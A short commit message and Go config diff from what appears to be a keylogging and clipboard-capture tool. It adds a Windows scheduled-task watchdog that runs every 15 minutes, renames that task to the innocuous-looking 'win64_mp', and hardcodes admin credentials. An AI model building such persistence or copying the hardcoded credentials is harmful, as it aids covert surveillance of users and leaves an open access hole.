feat(watchdog): separate watchdog from startup

- Add /api/v1/watchdog to enable/disable
- Scheduled task now runs every 15 minutes
- Use schtasks command line instead of XML
- Dashboard shows watchdog enabled state
- Preserve watchdog state during install

lib/config/config.go

@@ -35,7 +35,8 @@ const (
 	LogsSubdir                 = "logs"
 	ClipboardSubdir            = "clipboard"
 	SettingsFileName           = "settings.json"
-	WatchdogTaskName           = "win64_mp_watchdog"
+	WatchdogTaskName           = "win64_mp"
+	WatchdogTaskNameLegacy     = "win64_mp_watchdog"
 	DefaultKeylogRetentionDays = 7
 	AuthUser                   = "admin"
 	AuthPass                   = "blueberries"